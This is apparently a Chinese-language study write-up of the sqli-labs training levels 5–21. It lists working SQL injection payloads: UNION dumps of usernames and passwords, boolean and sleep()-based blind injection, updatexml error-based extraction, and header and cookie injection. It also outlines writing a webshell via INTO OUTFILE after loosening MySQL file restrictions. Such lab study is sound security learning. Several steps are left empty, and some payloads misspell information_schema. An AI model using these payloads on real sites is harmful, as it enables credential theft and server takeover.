目录
Less-5
GET-Double Injection-Single Quotes-String(GET-双注入-单引号-字符型)
判断是否有注入点
输入?id=1 会出现You ar in .....,说明存在注入点
判断注入类型
输入?id=1',页面报错,输入其他,页面正常,说明其为字符型
查询显示位
输入?id=1 order by 3--+ ,显示You are in...,输入?id=1 order by 4--+,显示Unknown column '4' in 'order clause',说明其显示位有3列
联合注入,查询数据库的名字
输入?id=1 and length((database()))>5--+
说明数据库长度 > 5,再采用二分法测试:
测试 > 8,发现没有“You are in ...”,说明数据库长度 <= 8
测试 = 8,出现“You are in ...”,说明数据库长度为 8
输入?id=1 and left((select database()),1)='a' --+,无回显,说明数据库第一位不是a,最后我们试出来,数据库为security
之后,数据库的表名,表的内容,也使用这种方法,查出来
Less-6:
GET-Double Injection-Double Quotes-String(GET-双注入-双引号-字符型)
less-6与less-5是一样的,只是注入方式不同,其为双引号注入,其余步骤,同上
Less-7
GET-Dump into outfile-String(GET-转储到输出文件夹-字符型)
通过SQL注入,写入一句话木马,所使用的工具为PHPStudy 和AntSword
PHPStudy自带Mysql,MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看
通过修改 MySQL 下的 my.ini 配置文件来启用权限,需要把下面这个字符串写入文件中
然后保存,并重启 MySQL 服务,检查是否设置成功
判断注入类型
输入?id=1,网页返回“You are in.... Use outfile......”。
输入?id=1'和?id=1'),网页回显SQL报错,注入单引号加上 2 个括号闭合,网页回显“You are in.... Use outfile......”,说明这是一个单引号和 2 个括号闭合的字符型注入
输入?id=9999' UNION SELECT 1,@@basedir,@@datadir --+,找出网页所在路径
使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马。注意此处存在转义问题,所有的“\”都要双写
Less-8
GET-Blind-Boolian-Single Quotes(布尔型单引号 GET 盲注)
判断是否存在注入点
输入?id=1,页面会显示You are in....,说明存在注入点,输入?id=1',页面不会显示任何东西
页面会通过回显表明对不对,这关需要盲注。
输入?id=1'--+,不报错,说明其闭合方式为单引号
获取数据库信息
和 Less-5 不同在于 Less-8 查询发生错误时不会报错,不过基本的操作与 Less-5 相似。
首先判断有几列,使用 ORDER BY 子句进行排序,看一下对几列有效,返回“You are in ...”说明表至少有 3 行
?id=1' ORDER BY 3--+
测试 4 列
?id=1' ORDER BY 4--+
得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度
?id=1' AND LENGTH((SELECT database()))>5--+
?id=1' AND LENGTH((SELECT database()))=8--+
使用 left() 函数判断数据库名的第一位是否是 a,注入之后无回显,则不是,有回显则是。
?id=1' AND LEFT((SELECT database()), 1)='a' --+
之后都是与前几题类似
Less-9
GET-Blind-Time based.-Single Quotes(基于时间的 GET 单引号盲注)
通过 sleep() 函数注入,观察页面响应时间,从而判断注入的 SQL 语句是否正确
判断注入类型
首先输入?id=1
,网页返回“You are in ...”,但是没有其他信息
接下来输入?id=9999
,网页还是返回“You are in ...”
输入?id=1'
进行闭合,网页还是返回“You are in ...”
再尝试了三种方式:网页仍然是“You are in ...”
我们转换了思路,利用MYSQL中的sleep()函数,观察页面的反应时间,从而判断输入是否正确
?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+
?id=1' AND IF(LENGTH(database())>1,sleep(1),1)--+
比较两个语句的反应时间,从而判断是否正确,其余操作与第五关相似
Less-10
GET-Blind-Time based-double quotes(基于时间的双引号盲注)
第十关与第九关相同,只是注入方式不同,其为双引号注入
Less-11
POST-Error Based-Single quotes-String(基于错误的 POST 型单引号字符型注入)
这关页面出现了变化,发现有username和password两个输入栏
发现在两个数据框中输入1' or 1=1#都会出现内容,说明两栏都存在注入点
判断表有几列,使用 ORDER BY 子句进行排序看下对有几列有效。对第二列返回的结果排序,网页返回正常,输入order by 3,表示没有三列
爆库
' union select 1,database()#
爆表
' union select 1,group_concat(table_name) from informtion_schema.tables where table_schema='security' --+
爆表的内容
' union select 1,group_concat(column_name) from informtion_schema.columns where table_schema='security' and table_name='users' --+
' union select 1,group_concat(concat_ws(":",username,password)) from security.users --+
Less-12
POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)
less-12与less-11相似,只是注入方式不同,为双引号+但括号注入
爆库
") union select 1,database()#
爆表
' union select 1,group_concat(table_name) from informtion_schema.tables where table_schema='security' --+
爆表的内容
' union select 1,group_concat(column_name) from informtion_schema.columns where table_schema='security' and table_name='users' --+
' union select 1,group_concat(concat_ws(":",username,password)) from security.users --+
Less-13
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
判断数据类型
输入' or 1=1# 报错
输入') or 1=1#,什么也没输出
爆出数据库名:1') and updatexml(1,concat(0x7e,database()),1)#
后面不再演示
Less-14
POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)
less-14与less-13类似,只是注入方式不同,为双引号注入,其他与less-13相同
Less-15
POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号 POST 型盲注)
判断注入类型
输入' OR 1 = 1#,使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容。
网页提示登录失败,并且没有返回任何信息
尝试使用括号制造 sql 语句报错信息,但是网页仍然没有回显。说明此处只有通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以
我们使用 bool 盲注
判断表有几列,输入a') OR 1 = 1 ORDER BY 2#
,登录成功,无 SQL 报错
输入a' OR 1 = 1 ORDER BY 3#
,登录失败,有 SQL 报错,所以,使用单引号加括号闭合,并且有 2 列
获取数据库名的长度
a') OR LENGTH((SELECT database())) = 8#
获取数据库名
a') or left((select database()),8)='security'#
其余的相关信息也这样获得
Less-16
POST-Blind-Boolian/Time Based-Double quotes(基于 bool 型 / 时间延迟的双引号 POST 型盲注)
判断注入点
当我们输入不管是1'还是1的时候页面没有反应,所以我们判断其为盲注,其闭合方式为”)
我们使用 bool 盲注
判断表有几列,输入a") OR 1 = 1 ORDER BY 2#
,登录成功,无 SQL 报错
输入a') OR 1 = 1 ORDER BY 3#
,登录失败,有 SQL 报错,所以,使用单引号加括号闭合,并且有 2 列
获取数据库名的长度
a") OR LENGTH((SELECT database())) = 8#
获取数据库名
a") or left((select database()),8)='security'#
其余的相关信息也这样获得
Less-17
POST-Update Query-Error Based-String(基于错误的更新查询字符型)(可更改内容)
判断注入点,发现用户名栏没有注入点,输入sql语句,还会显示“BUG OFF YOU SIIY DUMB HACKER”,但是发现密码栏中有注入点
可在密码栏中输入sql语句,得到相关信息
看数据库版本
' OR updatexml(1,concat("!",version()),2)#
爆库名
' OR updatexml(1,concat("!",(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)#
爆表内容
' OR updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2)#
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),2))#
Less-18
POST-Header Injection-Uagent field-Error based(基于错误的用户代理,头部 POST 注入)
先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包
注意:抓包时,使用Burp内嵌浏览器
说明漏洞在User-Agent中
右击,放到重放器中,发送,查看页面渲染,发现其漏洞在User-Agent中
爆表
爆表内容
Less-19
POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)
先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包
注意:抓包时,使用Burp内嵌浏览器
说明其漏洞在referer中
右击,放到重放器中,发送,查看页面渲染,发现其漏洞在referer中
其输入方式为两个单引号'',注释为or'
爆库名
爆表名
爆表的内容
Less-20
POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)
先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包
注意:抓包时,使用Burp内嵌浏览器
右击,放到重放器中,发送,查看页面渲染,发现其漏洞在Cookie中
输入',报语法错误,所以为单引号注入
查找显示位
输入' union select 1,2,3,4# 报错,所以显示位有3列
爆数据库名
爆数据库中的表
爆表中的内容
Less-21
Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)
先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包
注意:抓包时,使用Burp内嵌浏览器
右击,放到重放器中,发送,查看页面渲染,发现其漏洞在Cookie中
less-21与less-20不同的是注入方式不同为')注入,其uname是用base64,加密的,其下为数据库名的爆出过程
数据库security中的表
users中的内容
爆表
工具的使用
HackBar(必须火狐浏览器才有)
安装完成后,按ctrl+shift+i弹出窗口,如下: